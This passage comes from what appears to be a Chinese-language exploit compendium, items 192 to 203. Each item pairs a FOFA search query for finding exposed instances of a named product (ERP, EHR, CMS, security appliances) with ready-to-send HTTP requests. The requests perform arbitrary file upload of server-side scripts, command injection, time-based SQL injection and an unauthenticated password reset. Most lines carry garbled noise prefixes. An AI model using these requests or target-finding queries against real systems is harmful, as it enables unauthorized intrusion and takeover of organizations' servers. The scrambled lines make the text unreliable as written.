3 t. t. q1 W  O0 D2 }: O
" e# t1 D  V: W- ?command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
: z: h, t9 N, C5 ^( n# X* q

0 a1 P# O( P. g192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
+ |! ^  X: ^. T5 c! m0 H5 p' ~* j9 x) {FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
0 z& A1 i+ `/ @& QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
8 z) w; s7 D3 V( W& H0 J5 sContent-Type: application/x-www-form-urlencoded

9 X1 E1 N9 u  a, S) O
& R5 T+ H, g" a: V<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
public class AverageHandler : IHttpHandler
{
public bool IsReusable
. o% V6 _) Z  P{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
}
}


193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host:
Cookie: PHPSESSID=2333333333333;
* n" l+ d' q# @, eContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
: s6 L, |9 ^( W$ d% j1 g! r; j- q

POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
* }( Q( U  O1 V2 ZCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

9 e1 e) Q: S  D3 T0 zparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

* Y, Q; d! w2 A% w8 I
9 v; D# R1 y8 o1 gGET /master/img/config HTTP/1.1
" p' Y% F, ?! t; U$ EHost:
User-Agent: Mozilla/5.0


. @* _# V$ ]$ Z, E0 p5 f' H194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
5 M0 E9 Q' L4 H1 v& V* ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 `4 {1 @+ n) p4 @# hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
# B6 E, j2 A& eContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
6 _3 z+ [* ]9 B4 b. v; T& _------WebKitFormBoundaryKNt0t4vBe8cX9rZk
2 @: v9 E/ i- B/ {, S* [Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
9 l9 t! p1 e4 C; f3 ~- u------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
, _7 }# f) b0 w( Z' u

195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
9 d$ w0 ?- d  C, `- T( rFOFA：title=="飞鱼星企业级智能上网行为管理系统
+ v' s) |, ]! W% K; B7 TPOST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
1 H6 k$ X3 |" y% u6 L" E, pAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
( M9 t" W7 q. b5 H) C/ b* J1 ^& Y* CContent-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

1 _0 v2 ]6 j: z2 y3 R# ]! s/ {+ F
196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
5 L* E+ S0 o' z' c! iContent-Length: 45
: U; g) g/ R! x  o5 B1 Z% pConnection: close
$ {6 \- z5 w  x
6 b* ?2 m) x$ J+ I. a1 I{"xgh":"test","newPass":"test666","email":""}

* p( U4 X8 W' x) r0 ]

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
# _0 S5 N8 U, g! v7 CGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
1 q$ y$ ^1 j8 u8 E2 @! MHost:
" Z% c# g9 X5 @7 x* u, i; l  `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
/ r7 @1 e" }/ _' s+ ?8 [Accept-Encoding: gzip, deflate
: n1 O: e5 k+ b$ ^0 u( GConnection: close
; _& v4 u6 M7 P" I. ~3 l7 L
  a7 w3 v. `' z4 _+ J, N
  W7 Q' s! @' l
198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
* {: F) u6 L1 L* \* t, eGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
( t$ c- L* }5 N! E' oAccept: */*
% U! ]" A& }4 \! Q7 i+ NAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
  l! A( I4 @% J8 BConnection: close


8 g, `& Q, C: z/ T) Y# @* t199. cockpit系统assetsmanager_upload接口 文件上传
( V2 V5 o* ]5 J: J$ n& [+ D+ Z
1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1
; t- J& L/ C7 ^' u; K- H
, G1 J2 T& ~) J  Y- @3 z9 N响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：
, R! h) i. v+ _" w
POST /auth/check HTTP/1.1
Content-Type: application/json
; C3 ~" w' @3 D& ^# I- b
4 M+ X4 ^0 f* o! r{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
1 |  O! I$ g0 I6 {2 @3 [# y6 H
! Y5 N1 m" H, J1 O0 [- p0 V9 r: {响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
( e; C( i0 k" _7 F6 x- q* b) FContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
& j4 R; l, N1 }+ ?3 [7 G1 IContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

+ B: I' }% c! r) C( j+ E  @<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
2 n  M  h, u9 m% [2 I4 o9 oContent-Disposition: form-data; name="folder"

& [, F- u4 h* |9 i: J2 E2 g  k! v! g-----------------------------36D28FBc36bd6feE7Fb3--

; H8 o7 x$ a$ b+ V6 [1 p
5 R9 u) f2 X2 Z8 Z! X7 X/storage/uploads/tttt.php

200. SeaCMS海洋影视管理系统dmku SQL注入
! u& r- E  l, T; x* lFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
; r" L# t( H: s6 UCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
, j; w1 x1 v! PUpgrade-Insecure-Requests: 1
, c- N' [! y; Q( R3 ]& G4 c2 U+ FCache-Control: max-age=0
5 N. p+ q* A+ b8 O8 jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
4 P' V1 `7 ?- {2 h4 o3 |% gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- e, m. C! l: y( |
! N/ ?. L3 Y& I- s: }& Z
201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
  c% B) q$ j! }# f6 Q, cContent-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& w" U; r5 r' d7 P; @1 O9 m* k$ BConnection: close
) }2 F' @7 q" x$ M3 C
5 q, v, R! H3 b# |" G, ]" E0 VTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
$ F4 d9 f  i4 \2 v

202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
& V& h+ r. X# l  F0 U获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
% K: I. X/ V! k+ ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0

0 D. s) q3 `# n. o
替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
' L% t- s$ F2 e& ?Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

-----------------------------786435874t38587593865736587346567358735687
9 l; k6 {# |* m9 R  o' AContent-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
) K: @# B/ J2 F-----------------------------786435874t38587593865736587346567358735687
1 F1 K" r! p; t# h( ~/ N2 gContent-Disposition: form-data; name="__EVENTVALIDATION"
4 Y5 i0 Q& W; b) ?
__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

' N* `( b# t1 j, `6 w% N. ^  aHello World!
0 o/ D2 m: {% L' L& z5 c-----------------------------786435874t38587593865736587346567358735687
; a1 M8 {" k5 g. q- Y+ Q" CContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

1 ]9 L' o' V( Z% x上传图片
9 q  w$ O2 }: U% f0 O/ p-----------------------------786435874t38587593865736587346567358735687
0 \6 g1 ?; i6 C+ FContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


-----------------------------786435874t38587593865736587346567358735687
& u6 A$ l% J9 QContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
! ^+ Y- N; B/ u+ ]% \2 h
! N$ l3 |- B  I
-----------------------------786435874t38587593865736587346567358735687--
* I1 }# Y+ |& s' {# v

/_data/Uploads/1123.txt

: ?) v! S) a9 N7 R4 A5 v203. 红海云EHR PtFjk 文件上传
7 Y0 e& a- U6 l+ ZFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
( d' C* b7 t$ T2 Y" rHost: x.x.x.x
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
- M! I/ H5 A; vContent-Length: 210
: o7 A( G" T- S& N' L% Q* q( u
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

% o" j2 A9 }5 I; m  S3 w7 ^, k<% out.print("hello,eHR");%>
8 r, o! I/ G  C) G------WebKitFormBoundaryt7WbDl1tXogoZys4--

! [- [6 K, A& _0 b% a1 p( V


( d' D% ]$ i& D- }